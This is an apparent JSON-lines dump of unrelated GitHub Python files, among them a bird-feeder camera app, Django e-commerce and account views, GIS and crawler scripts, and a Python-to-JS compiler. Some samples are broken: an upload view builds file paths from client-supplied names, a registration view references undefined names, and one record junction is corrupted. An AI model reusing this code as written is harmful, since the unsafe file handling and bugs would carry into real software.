format=lambda val: f'{val}%', style={\"control_width\": 4}, grid=False)\n self.take_pic_c = kritter.Kbutton(name=[kritter.Kritter.icon(\"camera\"), \"Take picture\"], spinner=True)\n self.video_c = kritter.Kbutton(name=[kritter.Kritter.icon(\"video-camera\"), \"Take video\"], spinner=True)\n self.defend = kritter.Kbutton(name=[kritter.Kritter.icon(\"bomb\"), \"Defend\"], spinner=True)\n settings_button = kritter.Kbutton(name=[kritter.Kritter.icon(\"gear\"), \"Settings...\"], service=None)\n self.take_pic_c.append(self.video_c)\n self.take_pic_c.append(self.defend)\n self.take_pic_c.append(settings_button)\n\n self.media_queue = MediaDisplayQueue(MEDIA_DIR, STREAM_WIDTH, CAMERA_WIDTH, self.config_consts.MEDIA_QUEUE_IMAGE_WIDTH, self.config_consts.IMAGES_DISPLAY) \n sensitivity = kritter.Kslider(name=\"Detection sensitivity\", value=self.config['detection_sensitivity'], mxs=(1, 100, 1), format=lambda val: f'{int(val)}%', style=dstyle)\n species_of_interest = kritter.Kchecklist(name=\"Species of interest\", options=self.detector_process.classes(), value=self.config['species_of_interest'], clear_check_all=True, scrollable=True, style=dstyle)\n pest_species = kritter.Kchecklist(name=\"Pest species\", options=self.detector_process.classes(), value=self.config['pest_species'], clear_check_all=True, scrollable=True, style=dstyle)\n trigger_species = kritter.Kchecklist(name=\"Trigger species\", options=self.detector_process.classes(), value=self.config['trigger_species'], clear_check_all=True, scrollable=True, style=dstyle)\n smooth_video = kritter.Kcheckbox(name=\"Smooth video\", value=self.config['smooth_video'], style=dstyle)\n upload = kritter.Kcheckbox(name=\"Upload to Google Photos\", value=self.config['gphoto_upload'], disabled=self.gphoto_interface is None, style=dstyle)\n share = kritter.Kcheckbox(name=\"Share photos to help improve accuracy\", value=self.config['share_photos'], disabled=self.gphoto_interface is None, spinner=True, style=dstyle)\n text_new = kritter.Kcheckbox(name=\"Text new species\", value=self.config['text_new_species'], style=dstyle, disabled=self.tv is None)\n defense_duration = kritter.Kslider(name=\"Defense duration\", value=self.config['defense_duration'], mxs=(0, 10, .1), format=lambda val: f'{val}s', style=dstyle)\n rdefense = kritter.Kcheckbox(name=\"Record defense\", value=self.config['record_defense'], style=dstyle)\n\n dlayout = [species_of_interest, pest_species, trigger_species, sensitivity, defense_duration, rdefense, upload, share, text_new, smooth_video]\n settings = kritter.Kdialog(title=[kritter.Kritter.icon(\"gear\"), \"Settings\"], layout=dlayout)\n controls = html.Div([brightness, self.take_pic_c])\n\n # Add video component and controls to layout.\n self.kapp.layout = html.Div([html.Div([self.video, self.media_queue.layout]), controls, settings], style={\"padding\": \"15px\"})\n self.kapp.push_mods(self.media_queue.out_images())\n\n @brightness.callback()\n def func(value):\n self.config['brightness'] = value\n self.camera.brightness = value\n self.config.save()\n\n @self.video_c.callback()\n def func():\n if self.record_state==SAVING:\n return\n else:\n with self.lock:\n self.record_state += 1\n return self._update_record()\n\n @self.take_pic_c.callback()\n def func():\n self.take_pic = True\n return self.take_pic_c.out_spinner_disp(True)\n\n @self.defend.callback()\n def func():\n self._run_defense(True)\n\n @sensitivity.callback()\n def func(value):\n self.config['detection_sensitivity'] = value\n self._set_threshold() \n self.config.save()\n\n @species_of_interest.callback()\n def func(value):\n self.config['species_of_interest'] = value\n self.config.save()\n\n @pest_species.callback()\n def func(value):\n self.config['pest_species'] = value\n self.config.save()\n\n @trigger_species.callback()\n def func(value):\n self.config['trigger_species'] = value\n self.config.save()\n\n @smooth_video.callback()\n def func(value):\n self.config['smooth_video'] = value \n self.config.save()\n self._stop_detector_and_thread()\n self._handle_detector()\n self._run_grab_thread()\n\n @upload.callback()\n def func(value):\n self.config['gphoto_upload'] = value \n self.store_media.store_media = self.gphoto_interface if value else None\n self.config.save()\n\n @share.callback()\n def func(value):\n self.kapp.push_mods(share.out_spinner_disp(True))\n mods = share.out_spinner_disp(False)\n self.config['share_photos'] = value \n self.store_media.store_media = self.gphoto_interface if value else None\n self._handle_sharing()\n self.config.save()\n if value and not self.config['gphoto_upload']: \n return mods + upload.out_value(True)\n return mods\n\n @text_new.callback()\n def func(value):\n self.config['text_new_species'] = value \n self.config.save()\n\n @defense_duration.callback()\n def func(value):\n self.config['defense_duration'] = value \n self.config.save()\n\n @rdefense.callback()\n def func(value):\n self.config['record_defense'] = value \n self.config.save()\n\n @settings_button.callback()\n def func():\n return settings.out_open(True)\n\n # Run camera grab thread.\n self.run_thread = True\n self._grab_thread = Thread(target=self.grab_thread)\n self._grab_thread.start()\n\n # Run Kritter server, which blocks.\n self.kapp.run()\n self._stop_detector_and_thread()\n self.detector_process.close()\n self.store_media.close()\n\n def _run_grab_thread(self):\n # Run camera grab thread.\n if self._grab_thread is None: \n self.run_thread = True\n self._grab_thread = Thread(target=self.grab_thread)\n self._grab_thread.start()\n\n def _stop_detector_and_thread(self):\n # Stop thread\n if self._grab_thread is not None:\n self.run_thread = False\n self._grab_thread.join()\n self._grab_thread = None\n # Stop detector\n if self.detector and isinstance(self.detector, kritter.KimageDetectorThread):\n self.detector.close()\n\n def _handle_detector(self):\n if self.config['smooth_video']:\n self.detector = kritter.KimageDetectorThread(self.detector_process)\n else:\n self.detector = self.detector_process\n\n def _handle_sharing(self):\n if self.config['share_photos'] and not self.config['share_url_emailed'] and self.gphoto_interface is not None:\n # Try to get location information so we know where the pictures are coming from\n try:\n res = urlopen('https://ipinfo.io/json')\n location_data = json.load(res)\n except:\n location_data = {}\n # Only send location info -- not IP information\n location_data = {\"country\": location_data.get('country', 'Unknown'), \"region\": location_data.get('region', 'Unknown'), \"city\": location_data.get('city', 'Unknown'), \"loc\": location_data.get('loc', 'Unknown')}\n try:\n self.config['share_url'] = self.gphoto_interface.get_share_url(self.config_consts.GPHOTO_ALBUM)\n if self.config['share_url']:\n email = self.gcloud.get_interface(\"KtextClient\") # Gmail\n message = {**location_data, \"uuid\": self.uuid, \"url\": self.config['share_url']}\n message = json.dumps(message)\n email.text(\"vizycamera@gmail.com\", message, subject=\"Birdfeeder album share\")\n email.send()\n self.config['share_url_emailed'] = True\n self.config.save()\n except Exception as e:\n print(f\"Tried to send photo album share URL but failed. ({e})\")\n\n\n def _set_threshold(self):\n self.sensitivity_range.inval = self.config['detection_sensitivity']\n threshold = self.sensitivity_range.outval\n self.tracker.setThreshold(threshold)\n self.low_threshold = threshold - THRESHOLD_HYSTERESIS\n if self.low_threshold/pdf',\n views.admin_order_pdf,\n name='admin_order_pdf'),\n\n # api routes for frontend\n path('api/products', ProductListView.as_view(), name='products'),\n path('api/product/',\n ProductDetailView.as_view(), name=\"product_detail\"),\n path('api/product/images/',\n ProductImagesView.as_view(), name=\"product_image\"),\n path('api/category', ProductCategoryListView.as_view(), name='category'),\n path('api/category/',\n CategoryProductsView.as_view(), name=\"category_product\"),\n\n path('api/carousel', CarouselListView.as_view(), name=\"carousel\")\n]\n","repo_name":"sarozpradhan64/Django-DRF-E-Commerce-API","sub_path":"main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"26482728585","text":"from django.http import HttpResponse \nfrom django.shortcuts import render\nimport hashlib\nimport os\n\n\ndef idImageUpload(request):\n\tBASEDIR = os.path.dirname(os.path.dirname(__file__))\n\t \n\tif request.method == 'POST':\n\t\tuploadData = request.FILES.get('idImg')\n\t\tf = open(os.path.join(BASEDIR , 'tmp' ,hashlib.md5(uploadData.name), uploadData.name) , 'wb')\n\t\tfor chunk in uploadData.chunks():\n\t\t\tf.write(chunk)\n\t\tf.close()\n\t\treturn HttpResponse('OK')\n\treturn render(request , 'static/fail.html')\n","repo_name":"drlicahng/drai","sub_path":"web/http.py","file_name":"http.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"71269116329","text":"import processing\r\nimport os, sys, glob\r\n\r\nfrom qgis.core import *\r\nfrom qgis.gui import QgsMapCanvas\r\nfrom PyQt4.QtGui import *\r\n\r\nstateslist = [\\\r\n'AF', 'AO', 'BD', 'BI', 'CD', 'CO', 'DZ', 'EH', 'ET', 'ID', 'IL', 'IN', 'IQ', 'IR', 'KH', 'LA', 'LB', 'LK', 'LR', 'LY', 'MA', 'MM', 'MZ', 'NP', 'PE', 'PH', 'PK', 'RU', 'RW', 'SD', 'SL', 'SN', 'SO', 'SS', 'TD', 'TH', 'TJ', 'TL', 'TR', 'UG', 'YE'\r\n]\r\n\r\nin_path = 'C:/Users/Jesse/Dropbox/RoadNetworks/Data/Roads/'\r\n#in_path = '/media/jesse/Files/Dropbox/RoadNetworks/Data/Roads/'\r\nout_path = 'C:/Users/Jesse/Dropbox/RoadNetworks/Data/Roads/'\r\n#out_path = '/media/jesse/Files/Dropbox/RoadNetworks/Data/Roads/'\r\n\r\nfor state in stateslist:\r\n roads_shp_path = in_path + state + '_roads.shp'\r\n roads_out_path = out_path + state + '_roads_cleaned.shp'\r\n \r\n # Reproject to Lambert AEA\r\n ret = processing.runalg(\"qgis:reprojectlayer\",roads_shp_path,\"+proj=aea +lat_1=20 +lat_2=-23 +lat_0=0 +lon_0=25 +x_0=0 +y_0=0 +ellps=WGS84 +units=m +no_defs\",None)\r\n output = ret['OUTPUT']\r\n\r\n extent = QgsVectorLayer( output, '', 'ogr' ).extent()\r\n xmin = extent.xMinimum()\r\n xmax = extent.xMaximum()\r\n ymin = extent.yMinimum()\r\n ymax = extent.yMaximum()\r\n\r\n # Break vector lines\r\n ret = processing.runalg(\"grass7:v.clean\",output,0,0.1,\"%f, %f, %f, %f\"%(xmin, xmax,ymin,ymax),-1,0.0001,None,None)\r\n output = ret['output']\r\n\r\n # Snap geometry, 100m threshold\r\n ret = processing.runalg(\"grass7:v.clean\",output,1,100,\"%f, %f, %f, %f\"%(xmin, xmax,ymin,ymax),-1,0.0001,None,None)\r\n output = ret['output']\r\n \r\n #Break vector lines\r\n ret = processing.runalg(\"grass7:v.clean\",output,0,0.1,\"%f, %f, %f, %f\"%(xmin, xmax,ymin,ymax),-1,0.0001,None,None)\r\n output = ret['output']\r\n \r\n # De-duplicate line sections\r\n ret = processing.runalg(\"grass7:v.clean\",output,6,0.1,\"%f, %f, %f, %f\"%(xmin, xmax,ymin,ymax),-1,0.0001,None,None)\r\n output = ret['output']\r\n \r\n # Drop dangling lines less than 1000m\r\n ret = processing.runalg(\"grass7:v.clean\",output,2,1000,\"%f, %f, %f, %f\"%(xmin, xmax,ymin,ymax),-1,0.0001,None,None)\r\n output = ret['output']\r\n \r\n # Prune lines, 500m threshold\r\n ret =processing.runalg(\"grass7:v.clean\",output,9,500,\"%f, %f, %f, %f\"%(xmin, xmax,ymin,ymax),-1,0.0001,None,None)\r\n output = ret['output']\r\n \r\n # Break vector lines\r\n ret = processing.runalg(\"grass7:v.clean\",output,0,0.1,\"%f, %f, %f, %f\"%(xmin, xmax,ymin,ymax),-1,0.0001,None,None)\r\n output = ret['output']\r\n \r\n # De-duplicate line sections\r\n ret = processing.runalg(\"grass7:v.clean\",output,6,0.1,\"%f, %f, %f, %f\"%(xmin, xmax,ymin,ymax),-1,0.0001,None,None)\r\n output = ret['output']\r\n \r\n # Drop dangling lines less than 1000m\r\n ret = processing.runalg(\"grass7:v.clean\",output,2,1000,\"%f, %f, %f, %f\"%(xmin, xmax,ymin,ymax),-1,0.0001,None,None)\r\n output = ret['output']\r\n \r\n # Drop length-0 lines and write to file\r\n processing.runalg(\"grass7:v.clean\",output,11,0.1,\"%f, %f, %f, %f\"%(xmin, xmax,ymin,ymax),-1,0.0001,roads_out_path,None)\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n ","repo_name":"jrhammond/cartoGraph","sub_path":"RoadsCleaning.py","file_name":"RoadsCleaning.py","file_ext":"py","file_size_in_byte":3185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"34323521688","text":"import ast\nimport typing\n\nimport unholy\nfrom typechecker import ensure_typecheck\n\n\n@ensure_typecheck\ndef jsify_if(node: ast.If) -> typing.List[unholy.Compilable]:\n # test, body, orelse,\n body = []\n for i in node.body:\n body.extend(unholy.jsify_node(i))\n return [\n unholy.JSStatement('if ', ['(', *unholy.jsify_node(node.test), ')'], has_semicolon=False),\n unholy.JSBlock(body)\n ]\n\n\n@ensure_typecheck\ndef _parse_range_arguments(call: ast.Call):\n if len(call.args) == 1:\n return [unholy.JSExpression(['0'])], unholy.jsify_node(call.args[0]), [unholy.JSExpression(['1'])]\n elif len(call.args) == 2:\n return unholy.jsify_node(call.args[0]), unholy.jsify_node(call.args[1]), [unholy.JSExpression(['1'])]\n elif len(call.args) == 3:\n return unholy.jsify_node(call.args[0]), unholy.jsify_node(call.args[1]), unholy.jsify_node(call.args[2])\n else:\n raise unholy.CompilationError('Bad arguments for range() function in for loop.')\n\n\n@ensure_typecheck\ndef jsify_for(node: ast.For) -> typing.List[unholy.Compilable]:\n # 'target', 'iter', 'body', 'orelse', 'type_comment',\n output = []\n var_name = unholy.jsify_node(node.target)\n if isinstance(node.iter, ast.Call) and isinstance(node.iter.func, ast.Name) and node.iter.func.id == 'range':\n # range loop\n start, end, step = _parse_range_arguments(node.iter)\n output.append(\n unholy.JSStatement(\n 'for ',\n [\n '(let ',\n *var_name,\n ' = ',\n *start,\n '; (',\n *step,\n ' >= 0 ? (',\n *var_name,\n ' < ',\n *end,\n ') : ',\n *var_name,\n ' > ',\n *end,\n '); ',\n *var_name,\n '+=',\n *step,\n ')'\n ],\n has_semicolon=False\n )\n )\n else:\n iterator = unholy.jsify_node(node.iter)\n output.append(unholy.JSStatement(\n 'for ',\n [\n '(const ',\n *var_name,\n ' of ',\n f'{unholy.map_name(\"iter\")}(',\n *iterator,\n '))'\n ],\n has_semicolon=False\n ))\n body = []\n for i in node.body:\n body.append(unholy.JSStatement('', unholy.jsify_node(i)))\n output.append(unholy.JSBlock(body))\n return output\n","repo_name":"Mm2PL/unholy","sub_path":"unholy/node_types/control.py","file_name":"control.py","file_ext":"py","file_size_in_byte":2633,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"31384669787","text":"with open('crossroad.in','r') as fin:\n lines=fin.readlines()\n\nlines=[line.strip() for line in lines]\nn=int(lines[0])\nobservations=[list(map(int,line.split())) for line in lines[1:]]\n\nresult=0\ncrossings={}\n#iterate through all observations and keep track of when they cross the road\nfor observation in observations:\n if observation[0] not in crossings:\n crossings[observation[0]]=observation[1]\n elif observation[1]!=crossings[observation[0]]:\n result+=1\n crossings[observation[0]]=observation[1]\n\nwith open('crossroad.out','w') as fout:\n fout.write(str(result)+'\\n')\n","repo_name":"RithvikKo/usaco","sub_path":"2016-17/bronze/feb/crossroad.py","file_name":"crossroad.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"6752436585","text":"from rest_framework.generics import (\n RetrieveUpdateDestroyAPIView,\n ListCreateAPIView,\n)\n# from rest_framework.permissions import IsAuthenticated\n\nfrom django.http import FileResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.conf import settings\n\nimport os\n\nimport os\n\nimport json\n\n# locale imports\nfrom .models import (\n WorkModel,\n MaterialModel,\n WorksMaterialsModel,\n)\n# from .permissions import IsOwnerOrReadOnly\nfrom .serializers import (\n WorkSerializer,\n MaterialSerializer,\n WorksMaterialsSerializer,\n)\nfrom .pagination import CustomPagination\nfrom .services import (\n create_word_file,\n create_excel_file,\n add_total_types,\n)\n\nfrom django.conf import settings\n\n\nclass ListCreateWorkModelAPIView(ListCreateAPIView):\n serializer_class = WorkSerializer\n queryset = WorkModel.objects.all()\n # permission_classes = [IsAuthenticated]\n pagination_class = CustomPagination\n\n def perform_create(self, serializer):\n # Assign the user who created the movie\n serializer.save(creator=self.request.user)\n\n\nclass RetrieveUpdateDestroyWorkModelAPIView(RetrieveUpdateDestroyAPIView):\n serializer_class = WorkSerializer\n queryset = WorkModel.objects.all()\n # permission_classes = [IsAuthenticated, IsOwnerOrReadOnly]\n\n\nclass ListCreateMaterialModelAPIView(ListCreateAPIView):\n serializer_class = MaterialSerializer\n queryset = MaterialModel.objects.all()\n # permission_classes = [IsAuthenticated]\n pagination_class = CustomPagination\n\n def perform_create(self, serializer):\n # Assign the user who created the movie\n serializer.save(creator=self.request.user)\n\n\nclass RetrieveUpdateDestroyMaterialModelAPIView(RetrieveUpdateDestroyAPIView):\n serializer_class = MaterialSerializer\n queryset = MaterialModel.objects.all()\n # permission_classes = [IsAuthenticated, IsOwnerOrReadOnly]\n\n\nclass ListCreateWorksMaterialsModelAPIView(ListCreateAPIView):\n serializer_class = WorksMaterialsSerializer\n queryset = WorksMaterialsModel.objects.all()\n # permission_classes = [IsAuthenticated]\n pagination_class = CustomPagination\n\n def perform_create(self, serializer):\n # Assign the user who created the movie\n serializer.save(creator=self.request.user)\n\n\nclass RetrieveUpdateDestroyWorksMaterialsModelAPIView(\n RetrieveUpdateDestroyAPIView,\n):\n serializer_class = WorksMaterialsSerializer\n queryset = WorksMaterialsModel.objects.all()\n # permission_classes = [IsAuthenticated, IsOwnerOrReadOnly]\n\n\n@csrf_exempt\ndef get_word_file(request):\n if request.method == \"POST\":\n body = json.loads(request.body.decode(\"utf-8\"))\n total_price = add_total_types(body)\n create_word_file(\n body[\"workData\"],\n body[\"materialData\"],\n total_price,\n os.path.join(settings.BASE_DIR, \"files/template.docx\"),\n os.path.join(settings.BASE_DIR, \"files/finish.docx\"),\n )\n file = open(\"files/finish.docx\", \"rb\")\n return FileResponse(file)\n\n\n@csrf_exempt\ndef get_excel_file(request):\n if request.method == \"POST\":\n body = json.loads(request.body.decode(\"utf-8\"))\n create_excel_file(\n body[\"workData\"],\n body[\"materialData\"],\n os.path.join(settings.BASE_DIR, \"files/template.xlsx\"),\n os.path.join(settings.BASE_DIR, \"files/finish.xlsx\"),\n )\n file = open(\"files/finish.xlsx\", \"rb\")\n return FileResponse(file)\n\n","repo_name":"Bereozka/18-podyezdov","sub_path":"backend/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"26549093470","text":"from django.shortcuts import render, redirect, get_object_or_404, HttpResponseRedirect\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponse\nfrom django.conf import settings\nfrom django.contrib.auth.models import User\nfrom .forms import RegistrationForm, UserEditForm\nfrom .tokens import account_activation_token\nfrom .models import Profile\nfrom django.http import JsonResponse\nfrom django.contrib.auth import login\n\n# Create your views here.\n\n\n@login_required\ndef edit(request):\n if request.method == 'POST':\n\n user_form = UserEditForm(instance=request.user ,data=request.POST)\n profile_form = UserProfileForm(\n request.POST, request.FILES, instance=request.user.profile)\n\n if profile_form.is_valid() and user_form.is_valid():\n user_form.save()\n profile_form.save()\n else:\n user_form = UserEditForm(instance=request.user)\n profile_form = UserProfileForm(instance=request.user.profile)\n\n return render(request,\n 'accounts/update.html',\n {'user_form': user_form, 'profile_form': profile_form})\n\n\n@login_required\ndef delete_user(request):\n\n if request.method == 'POST':\n user = User.objects.get(username=request.user)\n user.is_active = False\n user.save()\n return redirect('accounts:login')\n\n return render(request, 'accounts/delete.html')\n\n\n\ndef accounts_register(request):\n if request.method == 'POST':\n registerForm = RegistrationForm(request.POST)\n if registerForm.is_valid():\n request_context = RequestContext(request)\n user = registerForm.save(commit=False)\n user.email = registerForm.cleaned_data['email']\n user.set_password(registerForm.cleaned_data['password'])\n user.is_active = True\n user.save()\n return activate(request_context,user)\n\n else:\n registerForm = RegistrationForm()\n return render(request, 'accounts/register.html', {'form': registerForm})\n\n\ndef activate(request, user):\n try:\n user.is_active = True\n user.save()\n login(request, user)\n return redirect('login')\n except:\n return redirect('login')\n","repo_name":"barskhianfannie/fracty-io","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"1100340503","text":"\"\"\"gifs thumb_path\n\nRevision ID: 40fd4a7beffe\nRevises: 8c53b170a46c\nCreate Date: 2019-12-20 13:28:58.518513\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '40fd4a7beffe'\ndown_revision = '8c53b170a46c'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('gif', sa.Column('thumb_path', sa.String(length=200), nullable=True))\n op.create_index(op.f('ix_gif_thumb_path'), 'gif', ['thumb_path'], unique=True)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_gif_thumb_path'), table_name='gif')\n op.drop_column('gif', 'thumb_path')\n # ### end Alembic commands ###\n","repo_name":"Furao/gifture-frame","sub_path":"migrations/versions/40fd4a7beffe_gifs_thumb_path.py","file_name":"40fd4a7beffe_gifs_thumb_path.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"18915771930","text":"from platform import python_compiler\nimport re, traceback\nimport win32gui, win32con, win32com.client\nfrom time import sleep\n\n\nclass cWindow:\n def __init__(self):\n self._hwnd = None\n self.shell = win32com.client.Dispatch(\"WScript.Shell\",python_compiler.CoInitialize())\n\n def BringToTop(self):\n win32gui.BringWindowToTop(self._hwnd)\n\n def SetAsForegroundWindow(self):\n self.shell.SendKeys('%')\n win32gui.SetForegroundWindow(self._hwnd)\n\n def Maximize(self):\n win32gui.ShowWindow(self._hwnd, win32con.SW_MAXIMIZE)\n\n def setActWin(self):\n win32gui.SetActiveWindow(self._hwnd)\n\n def _window_enum_callback(self, hwnd, wildcard):\n '''Pass to win32gui.EnumWindows() to check all the opened windows'''\n if re.match(wildcard, str(win32gui.GetWindowText(hwnd))) is not None:\n self._hwnd = hwnd\n \n\n def find_window_wildcard(self, wildcard):\n self._hwnd = None\n aa=win32gui.EnumWindows(self._window_enum_callback, wildcard)\n print (aa)\n return aa\n def kill_task_manager(self):\n wildcard = 'Gestionnaire des t.+ches de Windows'\n self.find_window_wildcard(wildcard)\n if self._hwnd:\n win32gui.PostMessage(self._hwnd, win32con.WM_CLOSE, 0, 0)\n sleep(0.5)\n\ndef main():\n sleep(1)\n try:\n wildcard = \"File Explorer\"\n cW = cWindow()\n\n #cW.kill_task_manager()\n cW.find_window_wildcard(wildcard)\n cW.Maximize() \n #cW.BringToTop()\n \n cW.SetAsForegroundWindow()\n\n except:\n f = open(\"log.txt\", \"w\")\n f.write(traceback.format_exc())\n print(traceback.format_exc())\n\ndef main2():\n sleep(3)\n try:\n wildcard = \"Untitled - Notepad\"\n cW = cWindow()\n #cW.kill_task_manager()\n cW.find_window_wildcard(wildcard)\n cW.Maximize()\n cW.SetAsForegroundWindow()\n except:\n f = open(\"log.txt\", \"w\")\n f.write(traceback.format_exc())\n print(traceback.format_exc())\n\n\nmain()","repo_name":"geodatabasecol/bspotfail","sub_path":"NeverInstall/testwindows.py","file_name":"testwindows.py","file_ext":"py","file_size_in_byte":2070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"18742581703","text":"__all__ = ['set_units', 'strip_units']\n\nimport astropy.units as u\nfrom collections.abc import Sequence\nimport inspect\nfrom functools import wraps\n\n_default_equivalencies = u.temperature()\n\n\ndef _make_single_units(**kwargs):\n for val in kwargs.keys():\n # check if unit is unambiguous\n if isinstance(kwargs[val], Sequence):\n if len(kwargs[val]) > 1:\n raise ValueError(\"Unit of `{0}` is ambiguous.\".format(val))\n kwargs[val] = kwargs[val][0]\n\n\ndef _add_default_units(func, **kwargs):\n wrapped_signature = inspect.signature(func)\n\n @wraps(func)\n def f(*func_args, **func_kwargs):\n # get provided arguments\n bound_args = wrapped_signature.bind(*func_args, **func_kwargs)\n new_input = {}\n\n # attach default units to every parameter where applicable\n for par in wrapped_signature.parameters.values():\n if par.name in bound_args.arguments: # passed explicitly\n arg = bound_args.arguments[par.name]\n else: # if not provided use default\n arg = par.default\n # attach unit if needed\n if par.name in kwargs and not hasattr(arg, 'unit') \\\n and arg is not None:\n unit = kwargs[par.name]\n if isinstance(kwargs[par.name], Sequence):\n unit = unit[0]\n arg = arg * unit\n\n if par.name in kwargs and arg is None and par.default is not None:\n raise ValueError(f\"Passing '{par.name}' with a value of None\\\n is not allowed when it must have units and its default value is not None.\")\n\n new_input[par.name] = arg\n\n return func(**new_input)\n\n return f\n\n\ndef _strip_units(func, **kwargs):\n wrapped_signature = inspect.signature(func)\n\n @wraps(func)\n def f(*func_args, **func_kwargs):\n # get provided arguments\n bound_args = wrapped_signature.bind(*func_args, **func_kwargs)\n new_input = {}\n\n # attach default units to every parameter where applicable\n for param in wrapped_signature.parameters.values():\n if param.name in bound_args.arguments: # passed explicitly\n arg = bound_args.arguments[param.name]\n else: # if not provided use default\n arg = param.default\n # attach unit if needed\n if param.name in kwargs:\n if hasattr(arg, 'unit'):\n arg = arg.to(kwargs[param.name]).value\n elif arg is not None:\n raise ValueError(\"Couldn't strip unit off of '{0}' because\\\n it has no unit.\".format(param.name))\n\n new_input[param.name] = arg\n\n return func(**new_input)\n return f\n\n\nclass UnitChecker:\n @classmethod\n def as_decorator(cls, func=None, **kwargs):\n '''\n Extends the usage of astropy.units.quantity_input by not only checking\n the units of the function input and generating an error if they are\n inconsistent with the set units, but also attaches the required units\n to an input if it is dimensionless.\n\n Syntax is the same as astropy.units.quantity_input\n '''\n self = cls(**kwargs)\n if func is not None and not kwargs:\n return self(func)\n else:\n return self\n\n def __init__(self, func=None, **kwargs):\n self.kwargs = kwargs\n self.kwargs['equivalencies'] = _default_equivalencies\n\n def __call__(self, func):\n check_units = u.quantity_input(**self.kwargs)\n\n return _add_default_units(check_units(func), **self.kwargs)\n\n\nclass UnitStripper:\n @classmethod\n def as_decorator(cls, func=None, **kwargs):\n '''\n Extends the usage of astropy.units.quantity_input by removing the\n supplied units from the input after checking them, meaning a set of\n floats is supplied to the underlying function.\n\n Syntax is the same as astropy.units.quantity_input\n '''\n self = cls(**kwargs)\n if func is not None and not kwargs:\n return self(func)\n else:\n return self\n\n def __init__(self, func=None, **kwargs):\n _make_single_units(**kwargs)\n self.kwargs = kwargs\n self.kwargs['equivalencies'] = _default_equivalencies\n\n def __call__(self, func):\n check_units = u.quantity_input(**self.kwargs)\n\n return check_units(_strip_units(func, **self.kwargs))\n\n\nset_units = UnitChecker.as_decorator\nstrip_units = UnitStripper.as_decorator\n","repo_name":"fjfaggingerauer/obsim","sub_path":"obsim/util/units.py","file_name":"units.py","file_ext":"py","file_size_in_byte":4574,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"6138506065","text":"import urllib.request\nimport urllib.parse\nimport json\nimport sys\nimport os\nimport re\nimport requests\n\nurl = 'http://www.szse.cn/api/disc/announcement/annList?random=0.09127020156653809'\n\nheaders = {\n 'Accept': 'application/json, text/javascript, */*; q=0.01',\n 'Accept-Encoding': 'gzip, deflate',\n 'Accept-Language': 'zh-CN,zh;q=0.9',\n 'Connection': 'keep-alive',\n 'Content-Type': 'application/json',\n 'HOST': 'www.szse.cn',\n 'Origin': 'http://www.szse.cn',\n 'Referer': 'http://www.szse.cn/disclosure/listed/notice/index.html',\n 'X-Request-Type': 'ajax',\n 'X-Requested-With': 'XMLHttpRequest',\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) '\n 'Chrome/111.0.0.0 Safari/537.36',\n}\n\nbody = {\n \"channelCode\": [\n \"fixed_disc\"\n ],\n \"pageSize\": 50,\n \"pageNum\": 2,\n \"stock\": []\n}\n\nrp = requests.post(url, headers=headers, data=json.dumps(body))\nrp_dict = rp.json()\nprint(rp_dict['data'][0]['id'])\n\n# bigCategoryId = [\"\"]\n# bigIndustryCode = [\"\"]\n# channelCode = [\"\"]\n# plateCode = [\"\"]\n# seDate = [\"\", \"\"]\n#\n#\n# def get_pdf(pageNum, pageSize):\n# \"\"\"请求表格内容\n# Parameter:\n# pageNum: str 页码\n# pageSize: int 页数(固定:30)\n# Return:\n# res: list 获取的表格内容\n# \"\"\"\n# params = {\n# 'seDate': seDate,\n# 'bigCategoryId': bigCategoryId,\n# 'bigIndustryCode': bigIndustryCode,\n# 'channelCode': channelCode,\n# 'pageNum': pageNum,\n# 'pageSize': pageSize,\n# 'plateCode': plateCode\n# }\n#\n# request = urllib.request.Request(url=url, headers=headers)\n# form_data = json.dumps(params).encode() # urllib.parse.urlencode(params).encode()\n# response = urllib.request.urlopen(request, form_data)\n# res_list = response.read().decode()\n# res = json.loads(res_list)\n# print(res)\n#\n","repo_name":"WENHUIzZ/pythonCrawler","sub_path":"深交所/测试.py","file_name":"测试.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"72271259367","text":"import functools\nimport inspect\nimport logging\nfrom abc import ABC, abstractmethod\nfrom typing import Any, Callable, Dict, List, Optional, Tuple, Union\n\nimport torch\nfrom torch.distributed import ProcessGroup\nfrom torchmetrics.metric import Metric\nfrom torchmetrics.utilities import apply_to_collection\nfrom torchmetrics.utilities.data import _flatten, dim_zero_cat\nfrom torchmetrics.utilities.distributed import 